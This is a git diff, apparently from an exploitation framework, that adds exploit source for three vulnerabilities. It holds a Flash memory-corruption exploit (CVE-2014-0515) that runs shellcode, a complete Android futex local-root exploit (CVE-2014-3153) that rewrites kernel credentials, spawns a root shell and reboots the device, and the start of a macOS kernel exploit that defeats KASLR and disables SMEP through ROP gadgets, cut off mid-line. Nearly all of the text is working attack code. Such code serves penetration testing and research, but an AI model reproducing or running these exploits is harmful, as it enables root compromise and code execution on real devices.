(memory_protect_ptr + 0); // Flash VirtualProtect call + tweaked_vector[4] = aaaq; + tweaked_vector[0] = 0x1000; // Length + tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address + + // 10255e21 ff5014 call dword ptr [eax+14h] ds:0023:41414155=???????? + this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8)); + + // 1) Set memory as executable + i = 0; + while (i < 64) + { + file_reference_array[i].cancel(); + i++; + }; + + // 2) Execute shellcode + tweaked_vector[7] = address_code_vector; + i = 0; + while (i < 64) + { + file_reference_array[i].cancel(); + i++; + }; + + // Restore FileReference cancel function pointer + // Even when probably msf module is not going to benefit because of the ExitThread at the end of the payloads + this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), cancel_address); + }; + } + + // returns the integer at memory address + // vector: vector with tweaked length + // vector_address: vector's memory address + // address: memory address to read + function read_memory(vector:Vector., vector_address:uint, address:uint):uint{ + if (address >= vector_address) + { + return (vector[((address - vector_address) / 4)]); + }; + return (vector[(0x40000000 - ((vector_address - address) / 4))]); + } + + function write_memory(vector:Vector., vector_address:uint, address:uint, value:uint){ + if (address >= vector_address) + { + vector[((address - vector_address) / 4)] = value; + } else + { + vector[(0x40000000 - ((vector_address - address) / 4))] = value; + }; + } + + function findFlashMemoryProtect(vector:*, vector_address:*):Array{ + var content:uint; + var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c)); + var index:uint; + var memory_protect_ptr:uint; + var _local_6:uint; + if (allocation >= vector_address) + { + index = ((allocation - vector_address) / 4); + } else + { + index = (0x40000000 - ((vector_address - allocation) / 4)); + }; + + //push 1 ; 6a 01 + //push dword ptr [eax-8] ; ff 70 f8 + //push dword ptr [eax-4] ; ff 70 fc + //call sub_1059DD00 // Will do VirtualProtect + var offset:uint; + while (1) + { + index--; + content = vector[index]; + if (content == 0xfff870ff) + { + offset = 2; + break; + }; + if (content == 0xf870ff01) + { + offset = 1; + break; + }; + if (content == 0x70ff016a) + { + content = vector[(index + 1)]; + if (content == 0xfc70fff8) + { + offset = 0; + break; + }; + } else + { + if (content == 0x70fff870) + { + offset = 3; + break; + }; + }; + }; + + memory_protect_ptr = ((vector_address + (4 * index)) - offset); + index--; + var content_before:uint = vector[index]; + + if (content_before == 0x16a0424) + { + return ([memory_protect_ptr, _local_6]); + }; + if (content_before == 0x6a042444) + { + return ([memory_protect_ptr, _local_6]); + }; + if (content_before == 0x424448b) + { + return ([memory_protect_ptr, _local_6]); + }; + if (content_before == 0xff016a04) + { + return ([memory_protect_ptr, _local_6]); + }; + _local_6 = (memory_protect_ptr - 6); + + while (1) + { + index--; + content = vector[index]; + if (content == 0x850ff50) + { + if (uint(vector[(index + 1)]) == 0x5e0cc483) + { + offset = 0; + break; + }; + }; + content = (content & 0xFFFFFF00); + if (content == 0x50FF5000) + { + if (uint(vector[(index + 1)]) == 0xcc48308) + { + offset = 1; + break; + }; + }; + content = (content & 0xFFFF0000); + if (content == 0xFF500000) + { + if (uint(vector[(index + 1)]) == 0xc4830850) + { + if (uint(vector[(index + 2)]) == 0xc35d5e0c) + { + offset = 2; + break; + }; + }; + }; + content = (content & 0xFF000000); + if (content == 0x50000000) + { + if (uint(vector[(index + 1)]) == 0x830850ff) + { + if (uint(vector[(index + 2)]) == 0x5d5e0cc4) + { + offset = 3; + break; + }; + }; + }; + }; + memory_protect_ptr = ((vector_address + (4 * index)) + offset); + return ([memory_protect_ptr, _local_6]); + } + + // vector: vector with tweaked length + // address: memory address of vector data + function find_file_ref_vtable(vector:*, address:*):uint{ + var allocation:uint = this.read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c)); + + // Find an allocation of size 0x2a0 + var allocation_size:uint; + while (true) + { + allocation_size = this.read_memory(vector, address, (allocation + 8)); + if (allocation_size == 0x2a0) break; + if (allocation_size < 0x2a0) + { + allocation = (allocation + 0x24); // next allocation + } else + { + allocation = (allocation - 0x24); // prior allocation + }; + }; + var allocation_contents:uint = this.read_memory(vector, address, (allocation + 0xc)); + while (true) + { + if (this.read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break; + if (this.read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break; + allocation_contents = this.read_memory(vector, address, (allocation_contents + 8)); + }; + return (allocation_contents); + } + + // Returns pointer to the nops in one of the allocated code vectors + function findCodeVector(vector:*, vector_address:*, mark:*):uint{ + var allocation_size:uint; + var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c)); + while (true) + { + allocation_size = this.read_memory(vector, vector_address, (allocation + 8)); + if (allocation_size == 0x7f0) break; // Code Vector found + allocation = (allocation + 0x24); // next allocation + }; + + // allocation contents should be the vector code, search for the mark 0x45454545 + var allocation_contents:uint = this.read_memory(vector, vector_address, (allocation + 0xc)); + while (true) + { + if (this.read_memory(vector, vector_address, (allocation_contents + 0x28)) == mark) break; + allocation_contents = this.read_memory(vector, vector_address, (allocation_contents + 8)); // next allocation + }; + return ((allocation_contents + 0x2c)); + } + + // create 8 vectors of size 0x7f0 inside an array to place shellcode + function createCodeVectors(mark:uint, nops:uint){ + var code_vectors_array:Array = new Array(); + var i:* = 0; + while (i < 8) + { + code_vectors_array[i] = new Vector.(((0x7f0 / 4) - 8)); // new Vector.(0x1f4) + code_vectors_array[i][0] = mark; // 0x45454545 // inc ebp * 4 + code_vectors_array[i][1] = nops; // 0x90909090 // nop * 4 + i++; + }; + return (code_vectors_array); + } + + + // Fill with the code vectors with the shellcode + function fillCodeVectors(array_code_vectors:Array) { + var i:uint = 0; + var sh:uint=1; + + while(i < array_code_vectors.length) + { + for(var u:String in shellcodeObj) + { + array_code_vectors[i][sh++] = Number(shellcodeObj[u]); + } + i++; + sh = 1; + } + } + } +}//package diff --git a/external/source/exploits/CVE-2014-0515/Graph_Shad.as b/external/source/exploits/CVE-2014-0515/Graph_Shad.as new file mode 100755 index 0000000000..c0e84dff5d --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/Graph_Shad.as @@ -0,0 +1,10 @@ +package +{ + import mx.core.ByteArrayAsset; + + [Embed(source="binary_data", mimeType="application/octet-stream")] + public class Graph_Shad extends ByteArrayAsset + { + + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2014-0515/binary_data b/external/source/exploits/CVE-2014-0515/binary_data new file mode 100755 index 0000000000..8d83cb55c9 Binary files /dev/null and b/external/source/exploits/CVE-2014-0515/binary_data differ diff --git a/external/source/exploits/CVE-2014-3153/Android.mk b/external/source/exploits/CVE-2014-3153/Android.mk new file mode 100644 index 0000000000..8132a47f99 --- /dev/null +++ b/external/source/exploits/CVE-2014-3153/Android.mk @@ -0,0 +1,10 @@ + +LOCAL_PATH := $(call my-dir) + +include $(CLEAR_VARS) + +LOCAL_MODULE := exploit +LOCAL_SRC_FILES := exploit.c +LOCAL_CFLAGS := -fno-stack-protector -O0 +include $(BUILD_EXECUTABLE) + diff --git a/external/source/exploits/CVE-2014-3153/Makefile b/external/source/exploits/CVE-2014-3153/Makefile new file mode 100644 index 0000000000..c6ce0c76b0 --- /dev/null +++ b/external/source/exploits/CVE-2014-3153/Makefile @@ -0,0 +1,17 @@ + +all: install + +build: + ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk + +install: build + mv libs/armeabi/exploit ../../../../data/exploits/CVE-2014-3153.elf + +test: build + adb push libs/armeabi/exploit /data/local/tmp/exploit + adb shell "cd /data/local/tmp; ./exploit id" + +clean: + rm -rf libs + rm -rf obj + diff --git a/external/source/exploits/CVE-2014-3153/exploit.c b/external/source/exploits/CVE-2014-3153/exploit.c new file mode 100644 index 0000000000..d012f57a20 --- /dev/null +++ b/external/source/exploits/CVE-2014-3153/exploit.c @@ -0,0 +1,834 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define FUTEX_WAIT_REQUEUE_PI 11 +#define FUTEX_CMP_REQUEUE_PI 12 + +#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a))) + +#define KERNEL_START 0xc0000000 + +#define LOCAL_PORT 5551 + +struct thread_info; +struct task_struct; +struct cred; +struct kernel_cap_struct; +struct task_security_struct; +struct list_head; + +struct thread_info { + unsigned long flags; + int preempt_count; + unsigned long addr_limit; + struct task_struct *task; + + /* ... */ +}; + +struct kernel_cap_struct { + unsigned long cap[2]; +}; + +struct cred { + unsigned long usage; + uid_t uid; + gid_t gid; + uid_t suid; + gid_t sgid; + uid_t euid; + gid_t egid; + uid_t fsuid; + gid_t fsgid; + unsigned long securebits; + struct kernel_cap_struct cap_inheritable; + struct kernel_cap_struct cap_permitted; + struct kernel_cap_struct cap_effective; + struct kernel_cap_struct cap_bset; + unsigned char jit_keyring; + void *thread_keyring; + void *request_key_auth; + void *tgcred; + struct task_security_struct *security; + + /* ... */ +}; + +struct list_head { + struct list_head *next; + struct list_head *prev; +}; + +struct task_security_struct { + unsigned long osid; + unsigned long sid; + unsigned long exec_sid; + unsigned long create_sid; + unsigned long keycreate_sid; + unsigned long sockcreate_sid; +}; + + +struct task_struct_partial { + struct list_head cpu_timers[3]; + struct cred *real_cred; + struct cred *cred; + struct cred *replacement_session_keyring; + char comm[16]; +}; + + +struct mmsghdr { + struct msghdr msg_hdr; + unsigned int msg_len; +}; + +//bss +int uaddr1 = 0; +int uaddr2 = 0; +struct thread_info *HACKS_final_stack_base = NULL; +pid_t waiter_thread_tid; +pthread_mutex_t done_lock; +pthread_cond_t done; +pthread_mutex_t is_thread_desched_lock; +pthread_cond_t is_thread_desched; +volatile int do_socket_tid_read = 0; +volatile int did_socket_tid_read = 0; +volatile int do_splice_tid_read = 0; +volatile int did_splice_tid_read = 0; +volatile int do_dm_tid_read = 0; +volatile int did_dm_tid_read = 0; +pthread_mutex_t is_thread_awake_lock; +pthread_cond_t is_thread_awake; +int HACKS_fdm = 0; +unsigned long MAGIC = 0; +unsigned long MAGIC_ALT = 0; +pthread_mutex_t *is_kernel_writing; +pid_t last_tid = 0; +int g_argc; +char rootcmd[2048] = ""; + + +ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) { + int pipefd[2]; + ssize_t len; + + pipe(pipefd); + + len = write(pipefd[1], writebuf, count); + + if (len != count) { + printf("FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno); + while (1) { + sleep(10); + } + } + + read(pipefd[0], readbuf, count); + + close(pipefd[0]); + close(pipefd[1]); + + return len; +} + +ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) { + int pipefd[2]; + ssize_t len; + + pipe(pipefd); + + write(pipefd[1], writebuf, count); + len = read(pipefd[0], readbuf, count); + + if (len != count) { + printf("FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno); + while (1) { + sleep(10); + } + } + + close(pipefd[0]); + close(pipefd[1]); + + return len; +} + +void write_kernel(int signum) +{ + struct thread_info stackbuf; + unsigned long taskbuf[0x100]; + struct cred *cred; + struct cred credbuf; + struct task_security_struct *security; + struct task_security_struct securitybuf; + pid_t pid; + int i; + int ret; + FILE *fp; + + pthread_mutex_lock(&is_thread_awake_lock); + pthread_cond_signal(&is_thread_awake); + pthread_mutex_unlock(&is_thread_awake_lock); + + if (HACKS_final_stack_base == NULL) { + static unsigned long new_addr_limit = 0xffffffff; + char *slavename; + int pipefd[2]; + char readbuf[0x100]; + + printf("cpid1 resumed\n"); + + pthread_mutex_lock(is_kernel_writing); + + HACKS_fdm = open("/dev/ptmx", O_RDWR); + unlockpt(HACKS_fdm); + slavename = ptsname(HACKS_fdm); + + open(slavename, O_RDWR); + + do_splice_tid_read = 1; + while (1) { + if (did_splice_tid_read != 0) { + break; + } + } + + read(HACKS_fdm, readbuf, sizeof readbuf); + + printf("addr_limit: %p\n", &HACKS_final_stack_base->addr_limit); + + write_pipe(&HACKS_final_stack_base->addr_limit, &new_addr_limit, sizeof new_addr_limit); + + pthread_mutex_unlock(is_kernel_writing); + + while (1) { + sleep(10); + } + } + + printf("cpid3 resumed.\n"); + + pthread_mutex_lock(is_kernel_writing); + + printf("hack.\n"); + + read_pipe(HACKS_final_stack_base, &stackbuf, sizeof stackbuf); + read_pipe(stackbuf.task, taskbuf, sizeof taskbuf); + + cred = NULL; + security = NULL; + pid = 0; + + for (i = 0; i < ARRAY_SIZE(taskbuf); i++) { + struct task_struct_partial *task = (void *)&taskbuf[i]; + + + if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START + && task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START + && task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START + && task->real_cred == task->cred) { + cred = task->cred; + break; + } + } + + read_pipe(cred, &credbuf, sizeof credbuf); + + security = credbuf.security; + + if ((unsigned long)security > KERNEL_START && (unsigned long)security < 0xffff0000) { + read_pipe(security, &securitybuf, sizeof securitybuf); + + if (securitybuf.osid != 0 + && securitybuf.sid != 0 + && securitybuf.exec_sid == 0 + && securitybuf.create_sid == 0 + && securitybuf.keycreate_sid == 0 + && securitybuf.sockcreate_sid == 0) { + securitybuf.osid = 1; + securitybuf.sid = 1; + + printf("task_security_struct: %p\n", security); + + write_pipe(security, &securitybuf, sizeof securitybuf); + } + } + + credbuf.uid = 0; + credbuf.gid = 0; + credbuf.suid = 0; + credbuf.sgid = 0; + credbuf.euid = 0; + credbuf.egid = 0; + credbuf.fsuid = 0; + credbuf.fsgid = 0; + + credbuf.cap_inheritable.cap[0] = 0xffffffff; + credbuf.cap_inheritable.cap[1] = 0xffffffff; + credbuf.cap_permitted.cap[0] = 0xffffffff; + credbuf.cap_permitted.cap[1] = 0xffffffff; + credbuf.cap_effective.cap[0] = 0xffffffff; + credbuf.cap_effective.cap[1] = 0xffffffff; + credbuf.cap_bset.cap[0] = 0xffffffff; + credbuf.cap_bset.cap[1] = 0xffffffff; + + write_pipe(cred, &credbuf, sizeof credbuf); + + pid = syscall(__NR_gettid); + + for (i = 0; i < ARRAY_SIZE(taskbuf); i++) { + static unsigned long write_value = 1; + + if (taskbuf[i] == pid) { + write_pipe(((void *)stackbuf.task) + (i << 2), &write_value, sizeof write_value); + + if (getuid() != 0) { + printf("ROOT FAILED\n"); + while (1) { + sleep(10); + } + } else { //rooted + break; + } + } + } + + sleep(1); + + if (g_argc >= 2) { + system(rootcmd); + } else { + system("/system/bin/sh -i"); + } + + system("/system/bin/touch /dev/rooted"); + + pid = fork(); + if (pid == 0) { + while (1) { + ret = access("/dev/rooted", F_OK); + if (ret >= 0) { + break; + } + } + + printf("wait 10 seconds...\n"); + sleep(10); + + printf("rebooting...\n"); + sleep(1); + system("reboot"); + + while (1) { + sleep(10); + } + } + + pthread_mutex_lock(&done_lock); + pthread_cond_signal(&done); + pthread_mutex_unlock(&done_lock); + + while (1) { + sleep(10); + } + + return; +} + +void *make_action(void *arg) { + int prio; + struct sigaction act; + int ret; + + prio = (int)arg; + last_tid = syscall(__NR_gettid); + + pthread_mutex_lock(&is_thread_desched_lock); + pthread_cond_signal(&is_thread_desched); + + act.sa_handler = write_kernel; + act.sa_mask = 0; + act.sa_flags = 0; + act.sa_restorer = NULL; + sigaction(12, &act, NULL); + + setpriority(PRIO_PROCESS, 0, prio); + + pthread_mutex_unlock(&is_thread_desched_lock); + + do_dm_tid_read = 1; + + while (did_dm_tid_read == 0) { + ; + } + + ret = syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0); + printf("futex dm: %d\n", ret); + + while (1) { + sleep(10); + } + + return NULL; +} + +pid_t wake_actionthread(int prio) { + pthread_t th4; + pid_t pid; + char filename[256]; + FILE *fp; + char filebuf[0x1000]; + char *pdest; + int vcscnt, vcscnt2; + + do_dm_tid_read = 0; + did_dm_tid_read = 0; + + pthread_mutex_lock(&is_thread_desched_lock); + pthread_create(&th4, 0, make_action, (void *)prio); + pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock); + + pid = last_tid; + + sprintf(filename, "/proc/self/task/%d/status", pid); + + fp = fopen(filename, "rb"); + if (fp == 0) { + vcscnt = -1; + } + else { + fread(filebuf, 1, sizeof filebuf, fp); + pdest = strstr(filebuf, "voluntary_ctxt_switches"); + pdest += 0x19; + vcscnt = atoi(pdest); + fclose(fp); + } + + while (do_dm_tid_read == 0) { + usleep(10); + } + + did_dm_tid_read = 1; + + while (1) { + sprintf(filename, "/proc/self/task/%d/status", pid); + fp = fopen(filename, "rb"); + if (fp == 0) { + vcscnt2 = -1; + } + else { + fread(filebuf, 1, sizeof filebuf, fp); + pdest = strstr(filebuf, "voluntary_ctxt_switches"); + pdest += 0x19; + vcscnt2 = atoi(pdest); + fclose(fp); + } + + if (vcscnt2 == vcscnt + 1) { + break; + } + usleep(10); + + } + + pthread_mutex_unlock(&is_thread_desched_lock); + + return pid; +} + +int make_socket() { + int sockfd; + struct sockaddr_in addr = {0}; + int ret; + int sock_buf_size; + + sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP); + if (sockfd < 0) { + printf("socket failed.\n"); + usleep(10); + } else { + addr.sin_family = AF_INET; + addr.sin_port = htons(LOCAL_PORT); + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + } + + while (1) { + ret = connect(sockfd, (struct sockaddr *)&addr, 16); + if (ret >= 0) { + break; + } + usleep(10); + } + + sock_buf_size = 1; + setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size)); + + return sockfd; +} + +void *send_magicmsg(void *arg) { + int sockfd; + struct mmsghdr msgvec[1]; + struct iovec msg_iov[8]; + unsigned long databuf[0x20]; + int i; + int ret; + + waiter_thread_tid = syscall(__NR_gettid); + setpriority(PRIO_PROCESS, 0, 12); + + sockfd = make_socket(); + + for (i = 0; i < ARRAY_SIZE(databuf); i++) { + databuf[i] = MAGIC; + } + + for (i = 0; i < 8; i++) { + msg_iov[i].iov_base = (void *)MAGIC; + msg_iov[i].iov_len = 0x10; + } + + msgvec[0].msg_hdr.msg_name = databuf; + msgvec[0].msg_hdr.msg_namelen = sizeof databuf; + msgvec[0].msg_hdr.msg_iov = msg_iov; + msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov); + msgvec[0].msg_hdr.msg_control = databuf; + msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf); + msgvec[0].msg_hdr.msg_flags = 0; + msgvec[0].msg_len = 0; + + syscall(__NR_futex, &uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &uaddr2, 0); + + do_socket_tid_read = 1; + + while (1) { + if (did_socket_tid_read != 0) { + break; + } + } + + ret = 0; + + while (1) { + ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0); + if (ret <= 0) { + break; + } + } + + if (ret < 0) { + perror("SOCKSHIT"); + } + printf("EXIT WTF\n"); + while (1) { + sleep(10); + } + + return NULL; +} + +static inline setup_exploit(unsigned long mem) +{ + *((unsigned long *)(mem - 0x04)) = 0x81; + *((unsigned long *)(mem + 0x00)) = mem + 0x20; + *((unsigned long *)(mem + 0x08)) = mem + 0x28; + *((unsigned long *)(mem + 0x1c)) = 0x85; + *((unsigned long *)(mem + 0x24)) = mem; + *((unsigned long *)(mem + 0x2c)) = mem + 8; +} + +void *search_goodnum(void *arg) { + int ret; + char filename[256]; + FILE *fp; + char filebuf[0x1000]; + char *pdest; + int vcscnt, vcscnt2; + unsigned long magicval; + pid_t pid; + unsigned long goodval, goodval2; + unsigned long addr, setaddr; + int i; + char buf[0x1000]; + + syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0); + + while (1) { + ret = syscall(__NR_futex, &uaddr1, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr1); + if (ret == 1) { + break; + } + usleep(10); + } + + wake_actionthread(6); + wake_actionthread(7); + + uaddr2 = 0; + do_socket_tid_read = 0; + did_socket_tid_read = 0; + + syscall(__NR_futex, &uaddr2, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr2); + + while (1) { + if (do_socket_tid_read != 0) { + break; + } + } + + sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid); + + fp = fopen(filename, "rb"); + if (fp == 0) { + vcscnt = -1; + } + else { + fread(filebuf, 1, sizeof filebuf, fp); + pdest = strstr(filebuf, "voluntary_ctxt_switches"); + pdest += 0x19; + vcscnt = atoi(pdest); + fclose(fp); + } + + did_socket_tid_read = 1; + + while (1) { + sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid); + fp = fopen(filename, "rb"); + if (fp == 0) { + vcscnt2 = -1; + } + else { + fread(filebuf, 1, sizeof filebuf, fp); + pdest = strstr(filebuf, "voluntary_ctxt_switches"); + pdest += 0x19; + vcscnt2 = atoi(pdest); + fclose(fp); + } + + if (vcscnt2 == vcscnt + 1) { + break; + } + usleep(10); + } + + printf("starting the dangerous things\n"); + + setup_exploit(MAGIC_ALT); + setup_exploit(MAGIC); + + magicval = *((unsigned long *)MAGIC); + + wake_actionthread(11); + + if (*((unsigned long *)MAGIC) == magicval) { + printf("using MAGIC_ALT.\n"); + MAGIC = MAGIC_ALT; + } + + while (1) { + is_kernel_writing = (pthread_mutex_t *)malloc(4); + pthread_mutex_init(is_kernel_writing, NULL); + + setup_exploit(MAGIC); + + pid = wake_actionthread(11); + + goodval = *((unsigned long *)MAGIC) & 0xffffe000; + + printf("%p is a good number\n", (void *)goodval); + + do_splice_tid_read = 0; + did_splice_tid_read = 0; + + pthread_mutex_lock(&is_thread_awake_lock); + + kill(pid, 12); + + pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock); + pthread_mutex_unlock(&is_thread_awake_lock); + + while (1) { + if (do_splice_tid_read != 0) { + break; + } + usleep(10); + } + + sprintf(filename, "/proc/self/task/%d/status", pid); + fp = fopen(filename, "rb"); + if (fp == 0) { + vcscnt = -1; + } + else { + fread(filebuf, 1, sizeof filebuf, fp); + pdest = strstr(filebuf, "voluntary_ctxt_switches"); + pdest += 0x19; + vcscnt = atoi(pdest); + fclose(fp); + } + + did_splice_tid_read = 1; + + while (1) { + sprintf(filename, "/proc/self/task/%d/status", pid); + fp = fopen(filename, "rb"); + if (fp == 0) { + vcscnt2 = -1; + } + else { + fread(filebuf, 1, sizeof filebuf, fp); + pdest = strstr(filebuf, "voluntary_ctxt_switches"); + pdest += 19; + vcscnt2 = atoi(pdest); + fclose(fp); + } + + if (vcscnt2 != vcscnt + 1) { + break; + } + usleep(10); + } + + goodval2 = 0; + + setup_exploit(MAGIC); + + *((unsigned long *)(MAGIC + 0x24)) = goodval + 8; + + wake_actionthread(12); + goodval2 = *((unsigned long *)(MAGIC + 0x24)); + + printf("%p is also a good number.\n", (void *)goodval2); + + for (i = 0; i < 9; i++) { + setup_exploit(MAGIC); + + pid = wake_actionthread(10); + + if (*((unsigned long *)MAGIC) < goodval2) { + HACKS_final_stack_base = (struct thread_info *)(*((unsigned long *)MAGIC) & 0xffffe000); + + pthread_mutex_lock(&is_thread_awake_lock); + + kill(pid, 12); + + pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock); + pthread_mutex_unlock(&is_thread_awake_lock); + + printf("GOING\n"); + + write(HACKS_fdm, buf, sizeof buf); + + while (1) { + sleep(10); + } + } + + } + } + + return NULL; +} + +void *accept_socket(void *arg) { + int sockfd; + int yes; + struct sockaddr_in addr = {0}; + int ret; + + sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP); + + yes = 1; + setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes)); + + addr.sin_family = AF_INET; + addr.sin_port = htons(LOCAL_PORT); + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)); + + listen(sockfd, 1); + + while(1) { + ret = accept(sockfd, NULL, NULL); + if (ret < 0) { + printf("**** SOCK_PROC failed ****\n"); + while(1) { + sleep(10); + } + } else { + printf("i have a client like hookers.\n"); + } + } + + return NULL; +} + +void init_exploit() { + unsigned long addr; + pthread_t th1, th2, th3; + + printf("running with pid %d\n", getpid()); + + pthread_create(&th1, NULL, accept_socket, NULL); + + addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); + addr += 0x800; + MAGIC = addr; + if ((long)addr >= 0) { + printf("first mmap failed?\n"); + while (1) { + sleep(10); + } + } + + addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); + addr += 0x800; + MAGIC_ALT = addr; + if (addr > 0x110000) { + printf("second mmap failed?\n"); + while (1) { + sleep(10); + } + } + + pthread_mutex_lock(&done_lock); + pthread_create(&th2, NULL, search_goodnum, NULL); + pthread_create(&th3, NULL, send_magicmsg, NULL); + pthread_cond_wait(&done, &done_lock); +} + +int main(int argc, char **argv) { + g_argc = argc; + + if (argc >= 2) { + strlcat(rootcmd, "/system/bin/sh -c '", sizeof(rootcmd) - 1); + int i; + for (i=1;i +#include +#include +#include +#include +#include + +#include +#include + +uint64_t kernel_symbol(char* sym){ + char cmd[1024]; + strcpy(cmd, "nm -g /mach_kernel | grep "); + strcat(cmd, sym); + strcat(cmd, " | cut -d' ' -f1"); + FILE* f = popen(cmd, "r"); + char offset_str[17]; + fread(offset_str, 16, 1, f); + pclose(f); + offset_str[16] = '\x00'; + + uint64_t offset = strtoull(offset_str, NULL, 16); + return offset; +} + +uint64_t leaked_offset_in_kext(){ + FILE* f = popen("nm -g /System/Library/Extensions/IONDRVSupport.kext/IONDRVSupport | grep __ZTV17IONDRVFramebuffer | cut -d' ' -f1", "r"); + char offset_str[17]; + fread(offset_str, 16, 1, f); + pclose(f); + offset_str[16] = '\x00'; + + uint64_t offset = strtoull(offset_str, NULL, 16); + offset += 0x10; //offset from symbol to leaked pointer + return offset; +} + + +uint64_t leak(){ + io_iterator_t iter; + + CFTypeRef p = IORegistryEntrySearchCFProperty(IORegistryGetRootEntry(kIOMasterPortDefault), + kIOServicePlane, + CFSTR("AAPL,iokit-ndrv"), + kCFAllocatorDefault, + kIORegistryIterateRecursively); + + if (CFGetTypeID(p) != CFDataGetTypeID()){ + printf("expected CFData\n"); + return 1; + } + + if (CFDataGetLength(p) != 8){ + printf("expected 8 bytes\n"); + return 1; + } + + uint64_t leaked = *((uint64_t*)CFDataGetBytePtr(p)); + return leaked; +} + +extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); + +uint64_t load_addr(){ + uint64_t addr = 0; + CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL); + CFIndex count = CFDictionaryGetCount(kd); + + void **keys; + void **values; + + keys = (void **)malloc(sizeof(void *) * count); + values = (void **)malloc(sizeof(void *) * count); + + CFDictionaryGetKeysAndValues(kd, + (const void **)keys, + (const void **)values); + + for(CFIndex i = 0; i < count; i++){ + const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman); + if (strcmp(name, "com.apple.iokit.IONDRVSupport") == 0){ + CFNumberGetValue(CFDictionaryGetValue(values[i], + CFSTR("OSBundleLoadAddress")), + kCFNumberSInt64Type, + &addr); + printf("%s: %p\n", name, addr); + break; + } + } + return addr; +} + +uint64_t* build_vtable(uint64_t kaslr_slide, uint64_t payload, size_t* len){ + uint64_t pivot, mov_rax_cr4, mov_cr4_rax, pop_rcx, xor_rax_rcx, pop_pop_ret; + + uint64_t kernel_base = 0xffffff8000200000; + kernel_base += kaslr_slide; + + int fd = open("/mach_kernel", O_RDONLY); + if (!fd) + return NULL; + + struct stat _stat; + fstat(fd, &_stat); + size_t buf_len = _stat.st_size; + + uint8_t* buf = mmap(NULL, buf_len, PROT_READ, MAP_FILE|MAP_PRIVATE, fd, 0); + + if (!buf) + return NULL; + + /* + this stack pivot to rax seems to be reliably present across mavericks versions: + push rax + add [rax], eax + add [rbx+0x41], bl + pop rsp + pop r14 + pop r15 + pop rbp + ret + */ + uint8_t pivot_gadget_bytes[] = {0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e}; + uint8_t* pivot_loc = memmem(buf, buf_len, pivot_gadget_bytes, sizeof(pivot_gadget_bytes)); + uint64_t pivot_gadget_offset = (uint64_t)(pivot_loc - buf); + printf("offset of pivot gadget: %p\n", pivot_gadget_offset); + pivot = kernel_base + pivot_gadget_offset; + + /* + mov rax, cr4 + mov [rcx], rax + pop rbp + ret + */ + uint8_t mov_rax_cr4_gadget_bytes[] = {0x0f, 0x20, 0xe0, 0x48, 0x89, 0x01, 0x5d, 0xc3}; + uint8_t* mov_rax_cr4_loc = memmem(buf, buf_len, mov_rax_cr4_gadget_bytes, sizeof(mov_rax_cr4_gadget_bytes)); + uint64_t mov_rax_cr4_gadget_offset = (uint64_t)(mov_rax_cr4_loc - buf); + printf("offset of mov_rax_cr4 gadget: %p\n", mov_rax_cr4_gadget_offset); + mov_rax_cr4 = kernel_base + mov_rax_cr4_gadget_offset; + + /* + mov cr4, rax + pop rbp + ret + */ + uint8_t mov_cr4_rax_gadget_bytes[] = {0x0f, 0x22, 0xe0, 0x5d, 0xc3}; + uint8_t* mov_cr4_rax_loc = memmem(buf, buf_len, mov_cr4_rax_gadget_bytes, sizeof(mov_cr4_rax_gadget_bytes)); + uint64_t mov_cr4_rax_gadget_offset = (uint64_t)(mov_cr4_rax_loc - 